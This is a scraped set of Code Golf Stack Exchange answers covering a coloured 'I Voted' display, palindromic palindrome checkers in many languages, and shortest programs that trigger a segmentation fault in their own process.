StackOrientation.Horizontal VerticalOptions = LayoutOptions.End }; foreach(var c in "I Voted") // Make a new label for each letter, then add to StackLayout s.Children.Add(new Label { // Cast char to string Text = c + "", // Happens that 'I', 'o', and 'e' are all odd in ASCII, and 'V', 't', and 'd' are all even :) TextColor = c%2<1 ? Color.Blue : Color.Red } ); // Set app MainPage to be a new ContentPage, where the content is the StackLayout above MainPage = new ContentPage { Content = s }; } } ``` [Answer] # x86 machine code + DOS + BIOS, 25 bytes Hexdump: ``` b8 02 13 b1 07 bd 0b 01 cd 10 c3 49 74 20 74 56 71 6f 74 74 71 65 74 64 71 ``` Assembly code (suitable as input to `debug.com`, so all numbers are hexadecimal): ``` mov ax, 1302 mov cl, 7 mov bp, 10b int 10 ret db 'It tVqottqetdq' ``` It uses a [BIOS routine](http://vitaly_filatov.tripod.com/ng/asm/asm_023.20.html) to output the string to the display memory. The string will appear at a "random" position on screen (see below), like this: [![screenshot](https://i.stack.imgur.com/DVUI8.png)](https://i.stack.imgur.com/DVUI8.png) The string contains the letters `I V o t e d`, interleaved with "attributes" ``` 74 74 71 74 71 74 71 ``` that specify the colour of the letters. Here 7 as the most significant digit means "white background", and the least significant digit specifies the foreground (1=blue; 4=red). The display position of the string is specified by the `dx` register. As mentioned [here](http://pferrie.host22.com/misc/lowlevel12.htm), the initial value of this register is equal to the value of the `cs` register. And the value of that one is the first available address in memory, after DOS is loaded. The size of DOS is typically less than 64K, that is, the segment address of the loaded user's program is less than hexadecimal `1000`. So the output will appear somewhere around the first 16 lines of text on the display. In my example, it appeared at line 8 (the upper half of `dx`, called `dh`, is equal to 8). The low half of `dx`, called `dl`, contains the column at which the text is output. Experiments show that BIOS doesn't check overflow, so it doesn't matter if `dx` asks for output at e.g. column 100. ]
[Question] [ > > There have been a couple of [previous](https://codegolf.stackexchange.com/q/1798/62131) [attempts](https://codegolf.stackexchange.com/q/19594/62131) to ask this question, but neither conforms to modern standards on this site. Per [discussion on Meta](http://meta.codegolf.stackexchange.com/a/11600/62131), I'm reposting it in a way that allows for fair competition under our modern rulesets. > > > ## Background A [palindrome](/questions/tagged/palindrome "show questions tagged 'palindrome'") is a string that "reads the same forwards and backwards", i.e. the reverse of the string is the same as the string itself. We're not talking about "convenient palindromes" here, but a strict character-by-character reversal; for example, `()()` is not a palindrome, but `())(` is. ## The task Write a program or function that takes a string *S* (or the appropriate equivalent in your language) as input, and has one output *Q* (of a type of your choice). You can use [any reasonable means](http://meta.codegolf.stackexchange.com/questions/2447/default-for-code-golf-input-output-methods?noredirect=1&lq=1) to take the input and provide the output. * When the input *S* is a palindrome, the output *Q* should have a value *A* (that is the same for any palindromic *S*). * When the input *S* is not a palindrome, the output *Q* should have a value *B* (that is the same for any non-palindromic *S*). * *A* and *B* must be distinct from each other. Or in other words: map all palindromes to one value, and all non-palindromes to another. Additionally, the program or function you write must be a palindrome itself (i.e. its source code must be palindromic), making this a [restricted-source](/questions/tagged/restricted-source "show questions tagged 'restricted-source'") challenge. ## Clarifications * Although `true` and `false` are obvious choices for *A* and *B*, you can use any two distinct values for your "is a palindrome" and "isn't a palindrome" outputs, which need not be booleans. * We're defining string reversal at the *character* level here; `éé` is palindromic regardless of whether the program is encoded in UTF-8 or Latin-1, even though it's not a palindromic sequence of octets after UTF-8 encoding. * However, even if your program contains non-ASCII characters, it only needs to work for ASCII input. Specifically, the input *S* will only contain printable ASCII characters (including space, but not including newline). Among other things, this means that if you treat the input as a sequence of bytes rather than a sequence of characters, your program will still likely comply with the specification (unless your language's I/O encoding is *very* weird). As such, the definition of a palindrome in the previous bullet only really matters when checking that the program has a correct form. * Hiding half the program in a comment or string literal, while being uncreative, is legal; you're being scored on length, not creativity, so feel free to use "boring" methods to ensure your program is a palindrome. Of course, because you're being scored on length, parts of your program that don't do anything are going to worsen your score, so being able to use both halves of your program is likely going to be helpful if you can manage it. * Because the victory criterion is measured in bytes, you'll need to specify the encoding in which your program is written to be able to score it (although in many cases it will be obvious which encoding you're using). ## Victory criterion Even though the program needs to be a palindrome at the character level, we're using bytes to see who wins. Specifically, the shorter your program is, measured in bytes, the better; this is a [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'") challenge. In order to allow submissions (especially submissions in the same language) to be compared, place a byte count for your program in the header of your submission (plus a character count, if it differs from the number of bytes). [Answer] # [Brachylog](https://github.com/JCumin/Brachylog) (2), 3 bytes in Brachylog's codepage ``` I↔I ``` [Try it online!](https://tio.run/nexus/brachylog2#@@/5qG2K5///SkWJyanJiUVKAA "Brachylog – TIO Nexus") This is a full program that takes input via standard input (using Brachylog's syntax for constants, i.e. strings are enclosed in double quotes), and outputs via standard output. The outputs are `true.` for a palindromic input, and `false.` for a non-palindromic input. Not only is this program palindromic, it also has left/right (and probably in some fonts up/down) mirror symmetry. ## Explanation In Brachylog, capital letters mark points in the program which have identical values; this is used almost like an electrical circuit to carry information from one part of the program to another. One consequence of this is that if you enclose a command between an identical pair of capital letters, you're effectively asserting that the command's input and output are the same. Brachylog implicitly takes input, so in this case we're also asserting that the input to the command is the same as the input to the program. In this program, we're using the command `↔`, which reverses things (in this case, strings); so the program effectively asserts that the input is the same forwards and backwards. A full program (as opposed to a function) in Brachylog returns a boolean, `false.` if there's no way to make all the assertions in the program correct at once, or `true.` if the assertions in the program are all compatible with each other. We only have one assertion here – that reversing the input does not change it – so the program acts as a palindrome checker. [Answer] # [Pyth](https://github.com/isaacg1/pyth), 3 bytes ``` _I_ ``` Returns *True* or *False*. [Try it online!](https://tio.run/nexus/pyth#@x/vGf//v3piUnJSojoA "Pyth – TIO Nexus") ### How it works ``` _ Reverse the input. _I Invariant-reverse; test if the reversed input is equal to its reverse. ``` [Answer] # [Python](https://docs.python.org), 39 bytes ``` lambda s:s[::-1]==s#s==]1-::[s:s adbmal ``` [Try it online!](https://tio.run/nexus/python3#JYzBCsQgEEPPu18xsAcV2kOvA/MlrgVLFQqtFkeEfr219ZDkEUI8/etuj2W1wMgacZwMEf@YyEwjom4t2HU57F59TJAdZ9gCaCEGIR@9prq/MV@O3TU3CrGUFiWU2EdKGPx@zrSFLJM7k3zu1AC@g6r1Bg "Python 3 – TIO Nexus") Boring, but if there is shorter in Python it will be impressive. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 5 bytes ``` ḂŒ ŒḂ ``` Returns **1** or **0**. The first line is an unexecuted helper link, the second line calls the palindrome test. [Try it online!](https://tio.run/nexus/jelly#@/9wR9PRSVxHJwHp////qycmJSclqgMA "Jelly – TIO Nexus") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 5 bytes ``` ⁼ṚaṚ⁼ ``` [Try it online!](https://tio.run/nexus/jelly#@/@occ/DnbMSgRjI@n@4/VHTmv//o9XVddQ1QBhMaEJIMGVTmVqcWmkDZOXl29kBKbs8u3yIIk31WAA "Jelly – TIO Nexus") Equals reverse and reverse equals. Or the more efficient yet less aesthetically pleasing: ``` ⁼Ṛ Ṛ⁼ ``` or ``` Ṛ⁼ ⁼Ṛ ``` [Answer] # Haskell, ~~87~~ ~~85~~ ~~44~~ 34 bytes ``` p=(==)<*>reverse--esrever>*<)==(=p ``` Explanation: `((->) a)` is an instance of Applicative (thanks @faubiguy), with `<*>` defined as ``` (<*>) f g x = f x (g x) ``` So by substituting in the arguments one can see why this works. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 3 bytes Code: ``` ÂQ ``` Explanation: ```  # Bifurcate (duplicate and reverse the duplicate) implicit input Q # Check if equal  # Bifurcate the result ``` Uses the **CP-1252** encoding. [Try it online!](https://tio.run/nexus/05ab1e#@3@4KfBw0///RYnJqcmJRQA "05AB1E – TIO Nexus") [Answer] ## Mathematica, 23 bytes ``` QemordnilaP;PalindromeQ ``` Not very interesting, but for the sake of completeness... The above is a `CompoundExpression` which evaluates to `PalindromeQ`, a built-in that solves the challenge. `QemordnilaP` is simply an undefined identifier, which is ignored because of the `;`. [Answer] # [PHP](https://php.net/), 55 bytes ``` <?=strrev($s=$argv[1])==$s;#;s$==)]s[TEG_$=s$(verrts=?< ``` [Try it online!](https://tio.run/##K8go@P/fxt62uKSoKLVMQ6XYViWxKL0s2jBW09ZWpdha2bpYxdZWM7Y4OsTVPV7FtlhFoyy1qKik2Nbe5v///@X55QA "PHP – Try It Online") [Answer] # [MATL](https://github.com/lmendo/MATL), 7 bytes ``` tPX=XPt ``` [Try it online!](https://tio.run/nexus/matl#@18SEGEbEVDy/7@6RlFicmpyYpGGOgA "MATL – TIO Nexus") Returns [1; 1] for palindromic input and [0; 0] otherwise. ``` t % duplicate the input P % reverse the second string X= % check the two strings are exactly equal (returns 0 or 1) XP % flip array (does nothing) t % duplicate the answer, giving either [1;1] or [0;0] % (implicit) convert to string and display ``` [Answer] # [Pip](https://github.com/dloscutoff/pip), ~~12~~ 11 bytes Now comment-free! ``` x:RVaQaVR:x ``` Takes input as a command-line argument; outputs `1` for palindrome, `0` for non-palindrome. [Try it online!](https://tio.run/nexus/pip#@19hFRSWGJgYFmRV8f///9zElMTcTDAJAA "Pip – TIO Nexus") The core of what we want to do is `RVaQa`: `reverse(a) string-equals a`. The code `x:RVaQa` calculates this result and assigns it to `x`. Then `VR:x` assigns the value of `x` to the variable `VR`. Since this assignment is the last statement in the program, its value is also autoprinted. Voila! For a previous interesting version using some undefined behavior, see the revision history. [Answer] # [Perl 6](https://perl6.org), 25 bytes/chars utf8 ``` {.flip eq$_}#}_$qe pilf.{ ``` [Try it](https://tio.run/nexus/perl6#FcvBDcIgGAbQO1N8iSglqdz0YjoLIfQnktBCSzVpSAfqHJ3JM@q7v1cmvO/KPtiw4mJjT@hqUS74BJq43k6b5hMh@eBUqS7OCH6k3EgUBmSz4p8arqVyw9KI8y0L2UJAtFCJ5sC2euzHzsa4wCCZX@/nONBnjFdr7JO@ "Perl 6 – TIO Nexus") [Answer] ## [GNU sed](https://en.wikipedia.org/wiki/Sed), ~~64~~ 59 + 1(r flag) = 60 bytes UTF-8 Took me a while to come up with a sed answer that is not using a comment section to make the code a palindrome. Instead, I use the `c` command that would print the first half of the code in reverse order, only I make sure this instruction is not reached. ``` :;s:^(.)(.*)\1$:\2:;t;/../c1 d 1c/../;t;:2\:$1\)*.().(^:s;: ``` The script prints **`1`** if the input string is not a palindrome (think of it as giving an error). If the string is a palindrome, then **no output** is given (think of it as exiting successfully). **Run examples:** or [**Try it online!**](https://tio.run/nexus/bash#FcgxCsAgDAXQ3VM4CCaFRuL4cxURikqnLrX3t@32eHN0v98@LthEJWGSjYsGlAx7LImkpq47bT@/QS4IWngTYqGKaVhxncc1Xg) ``` me@LCARS:/PPCG$ sed -rf palindrome_source.sed <<< "level" me@LCARS:/PPCG$ sed -rf palindrome_source.sed <<< "game" 1 ``` **Explanation:** ``` : # start loop s:^(.)(.*)\1$:\2: # delete first and last char, if they are the same t # repeat if 's' was successful /../c1 # if at least 2 chars are left, print 1. 'c' reads #till EOL, so next command must be on a new line. d # delete pattern space. This line must be a #palindrome itself, and must end the script. 1c/../;t;:2\:$1\)*.().(^:s;: # (skipped) print first half of code in reverse #order. Everything after 'c' is treated as string. ``` [Answer] ## R, ~~111~~ 103 bytes ``` all((s<-el(strsplit(scan(,"",,,"\n"),"")))==rev(s))#))s(ver==)))"",)"n\",,,"",(nacs(tilpsrts(le-<s((lla ``` Not the most original answer. `#` is the comment character in **R** **Ungolfed:** ``` all((s<-el(strsplit(scan(,"",,,"\n"),"")))==rev(s)) # ))s(ver==)))"",)"n\",,,"",(nacs(tilpsrts(le-<s((lla ``` The character string from `scan` is converted into raw bytes thanks to the `charToRaw` function. These raw bytes are compared one-by-one to their counterparts from the `rev()` function, which reverses the order of its argument. The output of this part is a vector of `TRUE` and/or `FALSE`. The `all` function then outputs `TRUE` if all those elements are `TRUE` Here, `"\n"` in the `scan` function is necessary for inputs with more than one word. ### Previous answer (byte-wise), **81 bytes** ``` function(s)all((s=charToRaw(s))==rev(s))#))s(ver==))s(waRoTr‌​ahc=s((lla)s(noitcnu‌​f ``` with *- 24 bytes* thanks to [@rturnbull](https://codegolf.stackexchange.com/users/59052/rturnbull). [Answer] # [RProgN](https://github.com/TehFlaminTaco/Reverse-Programmer-Notation), 11 bytes ``` ~]S.E E.S]~ ``` The first half of this does all the heavy lifting, and by a convenience of RProgN, the second half is a No-op. ``` ~]S.E E.S]~ ~ # Treat the word as a Zero Space Segment ] # Duplicate the top of the stack S. # Reverse the top of the stack E # Compare if these values are equal E.S]~ # A no-op, because the ~ is at the end of the word, not the start. ``` [Try it online!](https://tio.run/nexus/rprogn#@18XG6znquCqFxxb9////6LE5NTkxCIA "RProgN – TIO Nexus") [Answer] ## [Alice](https://github.com/m-ender/alice), 19 bytes ``` /@.nzRoi\ \ioRzn.@/ ``` [Try it online!](https://tio.run/nexus/alice#@6/voJdXFZSfGcMVk5kfVJWn56D//39RYnJqcmIRAA "Alice – TIO Nexus") Prints `Jabberwocky` for palindromes and nothing for non-palindromes. Works for arbitrary UTF-8 input. ### Explanation Since this is a string processing task, Alice will have to operate in Ordinal mode to solve it. That in turn means that the instruction pointer has to move diagonally, and therefore we need at least two lines so that the IP can bounce up and down. The linefeed in such a program makes for a good position to place the middle character of the palindrome. That means the second line needs to be the reverse of the first. But since we're only executing every other character on each line, if we make sure that the line-length is odd, the reverse of the code will neatly fit into its own gaps. The only character that isn't used at all is the backslash, but since it was arbitrary I chose it to make the program look nice and symmetric. So anyway, the actual relevant code is this: ``` / . z o i R n @ ``` Which is executed in a zigzag from left to right. ``` / Reflect the IP southeast, enter Ordinal mode. i Read all input as a single string. . Duplicate the input. R Reverse the copy. z Pop the reverse Y and the original X. If X contains Y, drop everything up to its first occurrence. Since we know that X and Y are the same length, Y can only be contained in X if X=Y, which means that X is a palindrome. So this will result in an empty string for palindromes and in the non-empty input for non-palindromes. n Logical NOT. Replaces non-empty strings with "", and empty strings with "Jabberwocky", the "default" truthy string. o Output the result. @ Terminate the program. ``` [Answer] ## [Retina](https://github.com/m-ender/retina), 53 bytes Byte count assumes ISO 8859-1 encoding. ``` $ ¶$` O$^`\G. » D` M$`^.+$ $+.^`$M `D » .G\`^$O `$¶ $ ``` [Try it online!](https://tio.run/nexus/retina#Fcm7CQAhEATQfOqYTNgqBCOxAVnGz7VocpmN7XEvfUHcQ6HR1YvhvshCpdwSwWQuVij/YaXL2SDeA0aMufaz1xwf "Retina – TIO Nexus") I'm pretty sure this isn't optimal yet (the `»` line seems particularly wasteful, and I have a 45-byte solution that is palindromic except for one character), but I guess it's a start. [Answer] # [Haskell](https://www.haskell.org/), 34 bytes ``` f=(==)=<<reverse--esrever<<=)==(=f ``` [Try it online!](https://tio.run/nexus/haskell#@59mq2Frq2lrY1OUWpZaVJyqq5taDGba2ACFgZJp/3MTM/MUbBUy80pSixKTSxRUFIoz8sv10v4T1gsA "Haskell – TIO Nexus") Call with `f "some string"`, returns `True` or `False`. The `=<<` operator on functions works like `f=<<g = \s -> f (g s) s`, so the code is equivalent to `f s=s==reverse s`, which, as I just noticed, would result in the same byte count. --- **Version without comment:** (49 bytes) ``` e x y=x/=y p=e=<<reverse esrever<<=e=p y=/x=y x e ``` [Try it online!](https://tio.run/nexus/haskell#@5@qUKFQaVuhb1vJVWCbamtjU5RallpUnMqVWgxm2dgARQu4Km31K2wrgWpT/@cmZuYp2Cpk5pWkFiUmlyioKBRn5JfrFfwn2SgA "Haskell – TIO Nexus") Call with `p "some string"`. This outputs `False` if the given string **is** a palindrome, and `True` if it's **not** a palindrome. **Explanation:** I found this comment free palindrome by starting with the comment version and replacing the the comment with a new line: ``` p=(==)=<<reverse esrever<<=)==(=p ``` The second line fails because the parenthesis do not match, so we need to get rid of them. If we had a function `e` which checks for equality, then ``` p=e=<<reverse esrever<<=e=p ``` will both compile with the second line defining an infix-operator `<<=` which takes two arguments `esrever` and `e` and returns the function `p`. To define `e` as the equality function one would normally write `e=(==)`, but `)==(=e` will again not compile. Instead we could explicitly take two arguments and pass them to `==`: `e x y=x==y`. Now the reversed code `y==x=y x e` compiles but redefines the `==` operator, which causes the definition `e x y=x==y` to fail. However if we switch to the inequality operator `/=`, the reversed definition becomes `y=/x=y x e` and defines a `=/` operator which does not interferes with the original `/=` operator. [Answer] # [OIL](https://github.com/L3viathan/OIL), 178 bytes Reads an input, explodes it, slowly adds its length (through incrementing and decrementing) to the address to know to the address after the string, jumps to a different part of code (in the middle), reverses the band direction, implodes the string again, and checks whether it's the same as the original string. TL;DR: It's a pain, as usual. Outputs `40` if the string isn't a palindrome, `0` if it is. ``` 5 0 12 0 40 1 40 2 1 40 34 10 2 3 22 16 9 2 8 35 6 11 6 37 3 4 4 27 26 0 1 10 1 40 13 2 31 04 1 01 1 0 62 72 4 4 3 73 6 11 6 53 8 2 9 61 22 3 2 01 43 04 1 2 04 1 04 0 21 0 5 ``` [Answer] # Java 8, ~~92~~ 90 bytes This is a comment version. If a string contains its reverse, then it is a palindrome (`true`) otherwise it is not (`false`). ``` s->s.contains(new StringBuffer(s).reverse())//))(esrever.)s(reffuBgnirtS wen(sniatnoc.s>-s ``` --- [Try it online!](https://tio.run/##tU@9TsMwEJ6Tp7A62RJxH6CQoUPVhSkjYjDpOXJwzpbvnKpCffZgmrIwIBZuudP3d3ejmU0TIuB4el/cFENiMRZMZ3Ze24w9u4D6cB92dcxv3vWi94ZIPBuH4qOu7iCx4dLm4E5iKpTsODkcXl6FSQOpL2X1nfS4cg/7EDwYbIUVTws1Lek@IBczSYSzWFX7bC0kSUonmCERSKW2W6Uk0A3QimQCa/N@QJe4E2dASegMY@g1tQ0tVbUr27sLMUw6ZNaxBLNHabWJ0V/k5gjeB@/huFHqT9qbTvyo31z/99568rW@Lp8) **Update** * **-2** [18-04-05] Switched to contains. Thanks to [*@Kevin Cruijssen*](https://codegolf.stackexchange.com/questions/110582/im-a-palindrome-are-you/110667?noredirect=1#comment390293_110667)! * **-2** [17-02-20] Removed `;`'s * **-16** [17-02-22] Auto convert [Answer] # [Japt](https://github.com/ETHproductions/japt), ~~7~~ 2 bytes ``` êê ``` [Run it](https://ethproductions.github.io/japt/?v=1.4.6&code=6uo=&input=InJhY2VjYXIi) ### Old solution: ``` U¥UwU¥U ``` [Try it online!](https://tio.run/nexus/japt#@x96aGloOYj4/18JzlYCAA "Japt – TIO Nexus") ### Explanation ``` U¥UwU¥U U¥ U is the input, ¥ is a shortcut for == Uw w is a reverse function. U¥U This calculates U == U (always true), but the result is ignored because w does not look at its arguments. ``` Japt doesn't escape functions unless a closing parenthesis (or space) is reached. This can be re-written: `U¥Uw(U¥U)`→`U¥Uw`→`U==Uw`. In Japt, the parenthesis left out at the begining and end of a function is auto-inserted. [Answer] # Dyalog APL, 6 bytes ``` ⌽≡⊢⊢≡⌽ ``` [Try it online!](https://tio.run/##SyzI0U2pTMzJT////1HP3kedCx91LQIhIKNn7/@0R20THvX2Peqb6un/qKv50HrjR20TgbzgIGcgGeLhGfw/TUE9MSlZnQtCJyWqAwA "APL (Dyalog Unicode) – Try It Online") [Answer] # [J](https://www.jsoftware.com), 9 bytes ``` [:-.|.-:[ ``` [Attempt This Online!](https://ato.pxeger.com/run?1=m70wa8F2JT0F9TRbK3UdBQMFKyDW1VNwDvJxW1pakqZrsTLaSlevRk_XKhrCv2mnyZWanJGvkKagnpiUnJSojsRF5lVUViE4cEPUIaYsWAChAQ) Lolwut. I was fiddling with various arrangements and adverb trains until I realized `[:` in trains is a thing, and `-.` (boolean negation) is perfectly OK thanks to the permissive output format. Returns 0 if the input is palindrome and 1 otherwise. ``` [: -. (|. -: [) |. -: [ Reverse matches identity (classic palindrome check) [: -. Boolean negation on the result ``` --- # [J](https://www.jsoftware.com), 11 bytes ``` ]&.|:-:|.&] ``` [Attempt This Online!](https://ato.pxeger.com/run?1=m70wa8F2JT0F9TRbK3UdBQMFKyDW1VNwDvJxW1pakqZrsTpWTa_GSteqRk8tFiJy00GTKzU5I18hTUE9MSk5KVEdiYvMq6isQnCQjFGHmLNgAYQGAA) Wins against the existing [comment abuse solution](https://codegolf.stackexchange.com/a/110774/78410). Uses a similar trick to [this answer to "I reverse the source, you reverse the input!"](https://codegolf.stackexchange.com/a/194789/78410). Many of J's built-ins have inflections `.` and `:`, which are always treated as the suffix of a larger token. So the function above tokenizes as `] &. |: -: |. & ]`. And `&.` and `&` are conjunctions, which consume two things on both sides to form a single verb. Finally, `verb1 verb2 verb3` is a verb train; when given an argument `y`, it evaluates to `(verb1 y) verb2 (verb3 y)`. ``` ] &. |: -: |. & ] ] &. |: Identity under transpose: returns the input unchanged |. & ] Reverse over identity: returns the input reversed -: Match: tests if the two sides are identical ``` [Answer] # [Bash](https://www.gnu.org/software/bash/) + Unix utilities, 49 bytes ``` [ "$1" = "`rev<<<$1`" ] # ] "`1$<<<ver`" = "1$" [ ``` Input is passed as an argument. Output is returned in the result code -- 0 for a palindrome, 1 for a non-palindrome. *Maybe someone can do better and not just rely on a comment to make the code itself palindromic.* [Try it online!](https://tio.run/nexus/bash#@x@toKRiqKRgq6CUUJRaZmNjo2KYoKQQq6AMxEoJhipAkbLUogSwCkMVJYXo////5@WXKCQqFCTmZOalFOXnpgIA "Bash – TIO Nexus") [Answer] # Java - ~~171~~ ~~169~~ 160 bytes ``` int q(String s){return s.equals(new StringBuffer(s).reverse().toString())?1:2;}//};2:1?))(gnirtSot.)(esrever.)s(reffuBgnirtS wen(slauqe.s nruter{)s gnirtS(q tni ``` The comment at the end is to make it a palindrome. Returns `P(alindrome)` when the input is palindrome and `N(ot)` when not. Ungolfed version: ``` int q(String s) { return s.equals(new StringBuffer(s).reverse().toString()) ? 'P' : 'N'; }//};'N':'P'?))(gnirtSot.)(esrever.)s(reffuBgnirtS wen(slauqe.s nruter{)s gnirtS(q tni ``` 2 bytes saved thanks to @DLosc Thanks to @Olivier Grégoire for pointing out the incorrect amount of bytes! Fixed now [Answer] # Javascript, 64 bytes ``` f=s=>s==[...s].reverse().join``//``nioj.)(esrever.]s...[==s>=s=f ``` Call function `f` with string ``` f("abba") // returns true f("abab") // returns false ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 4 bytes ``` ḂŒŒḂ ``` [Try it online!](https://tio.run/##y0rNyan8///hjqajk45OAlL///9XT0xKTkpUBwA "Jelly – Try It Online") Although this loses to the modern [`UƑU`](https://codegolf.stackexchange.com/a/166925/85334), I figured it may be of historical interest to note that [Dennis's solution](https://codegolf.stackexchange.com/a/110583/85334) could have been only 4 bytes. Thanks to [a quirk of the parser](https://github.com/DennisMitchell/jellylanguage/blob/c6ac722a4d2c7422c79ac4eeaa0c4abdad5fc16a/jelly.py#L589), any undefined characters--such as `Œ` outside a valid digraph--act equivalent to *two* newlines; as such, removing the newline yields a functionally identical solution (if not particularly forward-compatible, should `ŒŒ` ever hypothetically be added). [Answer] # [Actually](https://github.com/Mego/Seriously), 5 bytes ``` ;R=R; ``` [Try it online!](https://tio.run/nexus/actually#@28dZBtk/f@/UmJSYpISAA "Actually – TIO Nexus") The truthy output is `[1]\n[1]`, and the falsey output is `[]\n[]` (in both outputs, `\n` represents a literal newline). Explanation: ``` ;R=R; ;R= duplicate input, reverse one copy, test equality (the main palindrome-testing part) R range(1, x+1) - if palindrome, this pushes [1], else it pushes [] ; duplicate ``` [Answer] # C++, 154 Bytes ``` int m(){std::string g,p="";g=p;std::reverse(p.begin(),p.end());return g==p;}//};p==g nruter;))(dne.p,)(nigeb.p(esrever::dts;p=g;""=p,g gnirts::dts{)(m tni ``` I have to say, the reverse statement was costly, but I can't imagine much I can do to change that. Being able to cut out the std:: symbols would save me around 10 characters, but "using namespace std;" is quite a few more. I suppose C++ wasn't really meant for brevity. [Answer] ## Prolog, 44 bytes ``` p-->[]|[_]|[E],p,[E].%.]E[,p,]E[|]_[|][>--p ``` This uses definite clause grammars. It is actually a full context free grammar: ``` p --> [] % the empty string | % or [_] % a one character string | % or [E], % one character, followed by p, % a palindrome, followed by [E]. % that same character ``` Usage: ``` ?- phrase(p,"reliefpfeiler"). true ?- phrase(p,"re"). false. ``` ]
[Question] [ Write the shortest code that raises a [Segmentation Fault (SIGSEGV)](http://en.wikipedia.org/wiki/SIGSEGV) in any programming language. [Answer] # C, 5 characters ``` main; ``` It's a variable declaration - `int` type is implied (feature copied from B language) and `0` is default value. When executed this tries to execute a number (numbers aren't executable), and causes `SIGSEGV`. [Try it online!](https://tio.run/##S9ZNT07@/z83MTPP@v9/AA "C (gcc) – Try It Online") [Answer] ## Bash, 11 ``` kill -11 $$ ``` [Answer] # Assembly (Linux, x86-64), 1 byte ``` RET ``` This code segfaults. [Answer] # Python 2, 13 ``` exec'()'*7**6 ``` Windows reports an error code of c00000fd (Stack Overflow) which I would assume is a subtype of segmentation fault. Thanks to Alex A. and Mego, it is confirmed to cause segmentation faults on Mac and Linux systems as well. Python is the language of choice for portably crashing your programs. [Answer] # pdfTeX (51) ``` \def~#1{\meaning}\write0{\expandafter~\string}\bye ``` This is actually probably [a bug](http://groups.google.com/group/comp.text.tex/browse_thread/thread/4841c950ab64b14f#), but it is not present in the original TeX, written by Knuth: compiling the code with `tex filename.tex` instead of `pdftex filename.tex` does not produce a segfault. [Answer] # LOLCODE, 4 bytes ``` OBTW ``` Does not work online, only in the C interpreter. [Answer] ## Python, 33 characters ``` >>> import ctypes;ctypes.string_at(0) Segmentation fault ``` Source: <http://bugs.python.org/issue1215#msg143236> ## Python, 60 characters ``` >>> import sys;sys.setrecursionlimit(1<<30);f=lambda f:f(f);f(f) Segmentation fault ``` Source: <http://svn.python.org/view/python/trunk/Lib/test/crashers/recursive_call.py?view=markup> This is the Python version I'm testing on: ``` Python 2.6.1 (r261:67515, Jun 24 2010, 21:47:49) [GCC 4.2.1 (Apple Inc. build 5646)] on darwin ``` In general the Python interpreter is hard to crash, but the above is selective abusiveness... [Answer] # W32 .com executable - 0 bytes This will seem weird, but on 32 bit Windows systems, creating and executing an empty .com file *may* cause a segfault, depending on... something. DOS just accepts it (the 8086 having no memory management, there are no meaningful segments to fault), and 64 bit Windows refuses to run it (x86-64 having no v86 mode to run a .com file in). [Answer] # Bash, 4 bytes **Golfed** ``` . $0 ``` Recursively include the script into itself. **Explained** Recursive "source" (.) operation causes a stack overflow eventually, and as *Bash* does not integrate with [libsigsegv](https://www.gnu.org/software/libsigsegv/), this results in a SIGSEGV. Note that this is not a bug, but an expected behavior, as discussed [here](https://lists.gnu.org/archive/html/bug-bash/2014-08/msg00100.html). **Test** ``` ./bang Segmentation fault (core dumped) ``` [Try It Online !](https://goo.gl/NSPme0) [Answer] # Forth - 3 characters ``` 0 @ ``` (`@` is a fetch) [Answer] ## brainfuck (2) ``` <. ``` Yes, this is implementation-dependent. SIGSEGV is the likely result from a good compiler. [Answer] # Perl ( < 5.14 ), 9 chars ``` /(?{??})/ ``` In 5.14 the regex engine was made reentrant so that it could not be crashed in this way, but 5.12 and earlier will segfault if you try this. [Answer] ## C, 18 ``` main(){raise(11);} ``` [Answer] ## Haskell, 31 ``` foreign import ccall main::IO() ``` This produces a segfault when compiled with GHC and run. No extension flags are needed, as the Foreign Function Interface is in the Haskell 2010 standard. [Answer] ## C - ~~11(19)~~ ~~7(15)~~ ~~6(14)~~ 1 chars, AT&T x86 assembler - 8(24) chars C version is: ``` *(int*)0=0; ``` The whole program (not quite ISO-compliant, let's assume it's K&R C) is 19 chars long: ``` main(){*(int*)0=0;} ``` Assembler variant: ``` orl $0,0 ``` The whole program is 24 chars long (just for evaluation, since it's not actually assembler): ``` main(){asm("orl $0,0");} ``` **EDIT**: A couple of C variants. The first one uses zero-initialization of global pointer variable: ``` *p;main(){*p=0;} ``` The second one uses infinite recursion: ``` main(){main();} ``` The last variant is ~~the shortest one -~~ 7(15) characters. **EDIT 2**: Invented one more variant which is shorter than any of above - 6(14) chars. It assumes that literal strings are put into a read-only segment. ``` main(){*""=0;} ``` **EDIT 3**: And my last try - 1 character long: ``` P ``` Just compile it like that: ``` cc -o segv -DP="main(){main();}" segv.c ``` [Answer] ## Perl, 10 / 12 chars A slightly cheatish solution is to shave one char off [Joey Adams' bash trick](https://codegolf.stackexchange.com/a/4403/3191): ``` kill 11,$$ ``` However, to get a real segfault in Perl, `unpack p` is the obvious solution: ``` unpack p,1x8 ``` Technically, this isn't *guaranteed* to segfault, since the address 0x31313131 (or 0x3131313131313131 on 64-bit systems) just might point to valid address space by chance. But the odds are against it. Also, if perl is ever ported to platforms where pointers are longer than 64 bits, the `x8` will need to be increased. [Answer] # Python 33 ``` import os os.kill(os.getpid(),11) ``` Sending signal 11 (SIGSEGV) in python. [Answer] # F90 - 39 bytes ``` real,pointer::p(:)=>null() p(1)=0. end ``` Compilation: ``` gfortran segv.f90 -o segv ``` Execution: ``` ./segv Program received signal SIGSEGV: Segmentation fault - invalid memory reference. Backtrace for this error: #0 0x7FF85FCAE777 #1 0x7FF85FCAED7E #2 0x7FF85F906D3F #3 0x40068F in MAIN__ at segv.f90:? Erreur de segmentation (core dumped) ``` Materials: ``` gfortran --version GNU Fortran (Ubuntu 4.8.4-2ubuntu1~14.04.1) 4.8.4 ``` [Answer] # dc - 7 chars ``` [dx0]dx ``` causes a stack overflow [Answer] # PicoLisp - 4 characters ``` $ pil : ('0) Segmentation fault ``` This is intended behaviour. As described on their website: > > If some programming languages claim to be the "Swiss Army Knife of Programming", then PicoLisp may well be called the "Scalpel of Programming": Sharp, accurate, small and lightweight, but also dangerous in the hand of the inexperienced. > > > [Answer] # [Actually](https://github.com/Mego/Seriously), ~~17 16 11 10~~ 9 bytes ``` ⌠[]+⌡9!*. ``` [Try it online!](https://tio.run/##S0wuKU3Myan8//9Rz4LoWO1HPQstFbX0/v8HAA "Actually – Try It Online") If the above doesn't crash, try increasing the number 